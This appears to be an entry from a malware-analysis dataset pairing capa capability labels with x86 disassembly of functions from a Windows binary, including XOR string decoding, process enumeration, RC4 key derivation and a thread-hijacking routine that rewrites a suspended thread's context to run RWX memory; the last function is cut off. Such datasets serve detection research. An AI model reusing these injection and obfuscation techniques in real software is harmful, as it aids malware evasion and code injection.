joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000323a
Capabilities:
Encode data using xor

Disassembly:
push 0x38
mov eax, 0x10071e40
call fcn.1003bd50
mov esi, ecx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x28]
xor ebx, ebx
push 0x10088176
mov dword [ebp - 0x44], ebx
call fcn.1000416d
mov dword [ebp - 4], ebx
mov al, byte [esi + 2]
cmp al, 0xff
je 0x100033b8
cmp al, 1
jne 0x100032a8
movaps xmm0, xmmword [0x10089410]
mov ecx, ebx
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x2c], 0x800
mov byte [ebp - 0x2a], bl
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x11
jb 0x10003285
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x2a], bl
push eax
call fcn.10004150
pop ecx
push eax
lea eax, [ebp - 0x3b]
jmp 0x100033af
jle 0x100032da
cmp al, 5
jge 0x100032de
movaps xmm0, xmmword [0x100897c0]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x7100319
mov byte [ebp - 0x2c], bl
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x13
jb 0x100032c5
mov byte [ebp - 0x2c], bl
jmp 0x100033a1
cmp al, 5
jl 0x10003308
cmp al, 0xa
jge 0x1000330c
movaps xmm0, xmmword [0x10089ec0]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x50525447
mov byte [ebp - 0x2c], bl
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x13
jb 0x100032f9
jmp 0x100032d2
cmp al, 0xa
jl 0x10003336
cmp al, 0x1a
jge 0x1000333a
movaps xmm0, xmmword [0x10089c90]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x5a42494c
mov byte [ebp - 0x2c], bl
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x13
jb 0x10003327
jmp 0x100032d2
cmp al, 0x1a
jl 0x10003366
cmp al, 0x65
jge 0x1000336a
movaps xmm0, xmmword [0x10089820]
mov ecx, ebx
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x2c], 0x3c3b
mov byte [ebp - 0x2a], bl
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x11
jb 0x10003354
jmp 0x10003292
cmp al, 0x65
jl 0x100033b8
movsx eax, al
cmp eax, 0xc9
jge 0x100033b8
movaps xmm0, xmmword [0x10089630]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x80f0800
mov word [ebp - 0x2c], 0x60f
mov byte [ebp - 0x2a], bl
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x15
jb 0x10003391
mov byte [ebp - 0x2a], bl
lea eax, [ebp - 0x3f]
push eax
call fcn.10004150
pop ecx
push eax
lea eax, [ebp - 0x3f]
push eax
lea ecx, [ebp - 0x28]
call fcn.100040d7
lea eax, [ebp - 0x28]
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov ecx, edi
push eax
mov byte [edi], bl
call fcn.10003bbc
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.10004022
mov eax, edi
call fcn.1003bcfa
ret 4
Function at 0x1000419c
Capabilities:
Encode data using xor

Disassembly:
push 0xcc
mov eax, 0x10071f1b
call fcn.1003bd50
mov edi, ecx
mov dword [ebp - 0xc4], edi
and dword [ebp - 0xc8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x98
mov ebx, eax
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.10053790
pop ecx
lea ecx, [ebp - 0xa8]
call fcn.10004494
xor edx, edx
mov cl, 0x46
mov dword [ebp - 4], edx
mov al, 0x1b
movaps xmm0, xmmword [0x10089730]
xor al, cl
mov byte [ebp - 0xac], cl
mov byte [ebp - 0xab], al
mov byte [ebp - 0xaa], dl
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0x2c5703
mov cl, byte [ebp - 0xc0]
xor byte [ebp + edx - 0xbf], cl
inc edx
cmp edx, 0x12
jb 0x10004216
lea edx, [ebp - 0xbf]
mov byte [ebp - 0xad], 0
lea ecx, [ebp - 0xa8]
call fcn.100062c9
mov esi, eax
test esi, esi
je 0x1000424e
mov eax, dword [esi]
mov eax, dword [eax + 4]
add eax, esi
or dword [eax + 0x14], 4
test esi, esi
jne 0x1000425a
xor ecx, ecx
jmp 0x10004261
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
push 0
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0xd8]
push 8
push eax
call fcn.10036519
add esp, 0xc
mov edx, eax
mov ecx, esi
call fcn.10006463
mov ecx, eax
push ebx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
mov byte [eax + ecx + 0x40], 0x30
call fcn.10004aa1
lea edx, [ebp - 0xab]
mov ecx, eax
call fcn.100062c9
push edi
lea ecx, [ebp - 0xa8]
call fcn.10004435
lea ecx, [ebp - 0x58]
call fcn.10004451
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.10036579
pop ecx
mov eax, edi
call fcn.1003bcfa
ret

Function at 0x1000432e
Capabilities:
Terminate process

Disassembly:
push 0x24
mov eax, 0x10071f6c
call fcn.1003bd50
call fcn.1000219e
test al, al
je 0x1000434a
push 1
call fcn.10059fdc
lea ecx, [ebp - 0x2c]
call fcn.1000419c
and dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x2c]
inc eax
push eax
push ecx
push 0xfe5d24
call fcn.10053d30
add esp, 0xc
call fcn.1000c213
call fcn.1000c412
call fcn.100106f6
mov dword [0x10098c88], eax
test eax, eax
je 0x10004393
mov ecx, eax
call fcn.1001087d
call fcn.1000e0cf
call fcn.100102c0
call fcn.10010c57
push 0x70
call fcn.1003b136
pop ecx
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.1000f7f5
push 0x64
mov dword [0x10098bc0], eax
call fcn.1003b136
pop ecx
push 0x64
mov esi, eax
push 0
push esi
mov dword [ebp - 0x30], esi
call fcn.10053790
add esp, 0xc
mov ecx, esi
call fcn.100095fa
mov dword [0x10098bc8], eax
test eax, eax
je 0x100043ed
call fcn.10009d22
call fcn.1000b0ab
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10004022
call fcn.1003bcfa
ret
Function at 0x100093d6
Capabilities:
Encode data using xor

Disassembly:
push 0x184
mov eax, 0x10072757
call fcn.1003bd50
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x170], esi
lea eax, [ebp - 0x16f]
mov word [ebp - 0x170], 0x1b
xor ebx, ebx
lea ecx, [ebp - 0x130]
push eax
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x16f], bl
call fcn.1000416d
mov dword [ebp - 4], ebx
test edi, edi
jne 0x1000943e
lea eax, [ebp - 0x130]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.10003bbc
jmp 0x10009531
movaps xmm0, xmmword [0x1008a030]
mov edx, ebx
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x17c], 0x676f2f67
mov dword [ebp - 0x178], 0xa676226
mov dword [ebp - 0x174], 0xf6778
mov cl, byte [ebp - 0x18c]
xor byte [ebp + edx - 0x18b], cl
inc edx
cmp edx, 0x1a
jb 0x1000946c
lea eax, [ebp - 0x18b]
mov byte [ebp - 0x171], bl
push eax
lea ecx, [ebp - 0x148]
call fcn.1000416d
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x118], edi
push eax
mov dword [ebp - 0x114], ebx
call fcn.1005a405
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x16c]
push ecx
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push eax
lea eax, [ebp - 0x110]
push 0x100
push eax
call fcn.1005a53f
lea eax, [ebp - 0x110]
push eax
call fcn.10004150
add esp, 0x1c
lea ecx, [ebp - 0x130]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.100040d7
lea eax, [ebp - 0x130]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.10003bbc
push ebx
push 1
lea ecx, [ebp - 0x148]
call fcn.10004022
push ebx
push 1
lea ecx, [ebp - 0x130]
call fcn.10004022
mov eax, esi
call fcn.1003bcfa
ret

Function at 0x1000b8c5
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x10094084]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
xor esi, esi
mov dword [esp + 0x10], 0x128
push esi
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x1000b919
cmp dword [esp + 0x18], ebx
je 0x1000b91f
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000b907
jmp 0x1000b922
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003b125
mov esp, ebp
pop ebp
ret

Function at 0x1000b9df
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov dword [0x10094aac], ecx
inc edx
mov esi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [edx*4 + 0x10094aac], ecx
inc edx
cmp edx, esi
jl 0x1000b9f4
mov dword [0x10094aa8], esi
pop esi
pop ebp
ret 8
Function at 0x1000ba8a
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x1000bad2
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x1000ba9a
jmp 0x1000badf
cmp dword [esi], 0x4e0
jb 0x1000badf
call fcn.1000bb19
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret

Function at 0x1000bb19
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x1000bb29
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x1000bb69
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], ebx
pop esi
pop ebx
ret
Function at 0x1000c213
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x1008a200]
movups xmmword [ebp - 0x34], xmm0
push ebx
movaps xmm0, xmmword [0x1008a1a0]
xor ebx, ebx
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
movaps xmm0, xmmword [str.s0_b]
push esi
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x1000c240
push ebx
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], bl
push eax
push ebx
push 0x10098c14
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000c324
push 0x10098c10
push ebx
push ebx
push 0x8004
push dword [0x10098c14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000c324
movaps xmm0, xmmword [str.w_4L]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x1f471116
movaps xmm0, xmmword [0x10089cc0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x15430537
movaps xmm0, xmmword [0x10089e80]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x56070d22
mov word [ebp - 4], 0xa
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000c2c9
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], bl
push eax
push dword [0x10098c10]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000c324
push 0x10098c0c
push 0x800000
push dword [0x10098c10]
push 0x6801
push dword [0x10098c14]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000c324
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10098c08], eax
call fcn.10039d70
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.1003a240
mov ebx, 0x1000c153
push ebx
push 0x10098c04
call fcn.10039a80
call fcn.10039dd0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c38f
mov dword [0x10098c04], 0x60f6e0
call fcn.10039d70
call esi
push eax
call fcn.1003a240
push ebx
push 0x10098c04
call fcn.100395f0
call fcn.10039dd0
call fcn.10039d70
call esi
push eax
call fcn.1003a240
mov ebx, 0x1000c175
push ebx
push 0x10098c00
call fcn.10039a80
call fcn.10039dd0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c3e9
mov dword [0x10098c00], 0x60eab0
call fcn.10039d70
call esi
push eax
call fcn.1003a240
push ebx
push 0x10098c00
call fcn.100395f0
call fcn.10039dd0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000eb53
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10094084]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1008a210]
push ebx
mov ebx, dword [0x10098c68]
push esi
mov dword [ebp - 0x20], ecx
xor ecx, ecx
push edi
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x24], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x1000eb80
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.1000416d
lea ecx, [ebp - 0x1c]
call fcn.10031a53
add esp, 0x18
xor edi, edi
test ebx, ebx
jle 0x1000ebe6
cmp dword [ebp - 8], 0x10
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000ebbe
sub esi, ecx
mov eax, edi
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [ecx + edi], al
inc edi
cmp edi, ebx
jl 0x1000ebb0
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.10004022
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003b125
mov esp, ebp
pop ebp
ret
Function at 0x1000eed4
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x10072b4a
call fcn.1003bd50
mov esi, ecx
test esi, esi
je 0x1000f053
xor ebx, ebx
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x20
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.10008cab
mov dword [ebp - 0x30], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x1000efa5
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x4c]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.10008c26
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], vtable.Packet.0
call fcn.10008dd0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
call fcn.1000f40d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x4c], vtable.ByteBuffer.0
call fcn.10008d64
mov eax, dword [esi + 4]
test eax, eax
jle 0x1000efa5
dec eax
lea ecx, [ebp - 0x30]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.10008dd0
cmp byte [0x10098c30], 0
jne 0x1000f03c
mov eax, dword [ebp - 0x20]
mov ecx, ebx
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x10089c70]
sub edi, eax
mov dword [ebp - 0x50], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x1000efcd
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.1000416d
lea ecx, [ebp - 0x48]
call fcn.10031a53
add esp, 0x18
test edi, edi
jle 0x1000f030
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
cmovae esi, dword [ebp - 0x48]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000f008
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x50]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x1000effa
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10004022
lea ecx, [ebp - 0x30]
call fcn.1000edf1
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10008d64
call fcn.1003bcfa
ret
Function at 0x1000f2f1
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x10072b87
call fcn.1003bd50
cmp byte [0x10098bdb], 0
je 0x1000f3fe
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x10098c70]
sbb edx, dword [0x10098c74]
mov dword [ebp - 0x5c], edx
jne 0x1000f32c
cmp eax, 0xbb8
jb 0x1000f3fe
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [0x10089260]
mov dword [0x10098c74], edx
xor edx, edx
mov dword [0x10098c70], eax
movups xmmword [ebp - 0x58], xmm0
mov cl, byte [ebp - 0x58]
xor byte [ebp + edx - 0x57], cl
inc edx
cmp edx, 0xe
jb 0x1000f34a
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x57]
mov ecx, esp
push eax
call fcn.1000416d
lea ecx, [ebp - 0x48]
call fcn.10031a53
add esp, 0x18
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.10008c26
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.10008dd0
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa2
call fcn.10008dd0
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.10008bcd
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub edx, ecx
call fcn.1000ddda
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10008d64
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10004022
call fcn.1003bcfa
ret
Function at 0x1000f856
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
mov edi, dword [0x10098bc0]
call fcn.1000801d
mov dword [edi], eax
mov ecx, esi
lea eax, [edi + 8]
push eax
call fcn.100080ce
lea eax, [edi + 0x20]
xor ebx, ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.100080ce
mov esi, eax
mov ecx, esi
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x38], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x39], al
call fcn.10008181
mov ecx, esi
mov word [edi + 0x3e], ax
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x3a], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x3b], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x3c], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x68], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x69], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x6a], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x6b], al
call fcn.100081a7
mov ecx, esi
mov byte [edi + 0x6c], al
call fcn.1000801d
mov ecx, esi
mov dword [edi + 0x4c], eax
call fcn.1000801d
mov ecx, dword [0x10098bc8]
mov dword [edi + 0x50], eax
mov byte [0x10098bdb], 1
test ecx, ecx
je 0x1000f92d
mov ecx, dword [ecx + 0x20]
test ecx, ecx
je 0x1000f92d
call fcn.100148ca
mov eax, dword [0x10098bc4]
test eax, eax
jne 0x1000f951
push 0x10
call fcn.1003b136
pop ecx
mov ecx, eax
mov dword [ebp + 8], eax
call fcn.10002340
mov dword [0x10098bc4], eax
test eax, eax
je 0x1000f97c
cmp byte [eax], bl
jne 0x1000f97c
push ebx
push ebx
push eax
push 0x1000f985
push ebx
push ebx
mov byte [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000f97c
mov ecx, esi
call fcn.1001087d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10010508
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10094084]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1008a040]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x7b777d3a
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x10010535
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
mov edx, 0x10095e48
lea ecx, [ebp - 0x1c]
call fcn.1000cdde
mov eax, dword [esi + 0x1fc]
pop ecx
test eax, eax
je 0x10010568
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x100105a2
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x100105a2
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.10004022
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1003b125
mov esp, ebp
pop ebp
ret
Function at 0x100106f6
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10094084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x2f4], 0x7d654311
push esi
mov cl, 0x11
mov dword [ebp - 0x2f0], 0x75707e5d
mov dword [ebp - 0x2ec], 0x78636542
mov eax, ebx
mov word [ebp - 0x2e8], 0x767f
mov byte [ebp - 0x2e6], bl
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x10010753
mov cl, byte [ebp - 0x2f4]
jmp 0x1001073e
mov byte [ebp - 0x2e6], bl
mov cl, 0x14
mov dword [ebp - 0x2e4], 0x70607a14
mov eax, ebx
mov dword [ebp - 0x2e0], 0x703a7878
mov word [ebp - 0x2dc], 0x7878
mov byte [ebp - 0x2da], bl
xor byte [ebp + eax - 0x2e3], cl
inc eax
cmp eax, 9
jae 0x10010795
mov cl, byte [ebp - 0x2e4]
jmp 0x10010780
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], bl
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x100107c7
xor eax, eax
jmp 0x1001086d
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100107c0
push 0x2cc
lea eax, [ebp - 0x2d8]
push ebx
push eax
call fcn.10053790
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100107c0
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x100107c0
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100107c0
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001a31
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x100107c0
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop esi
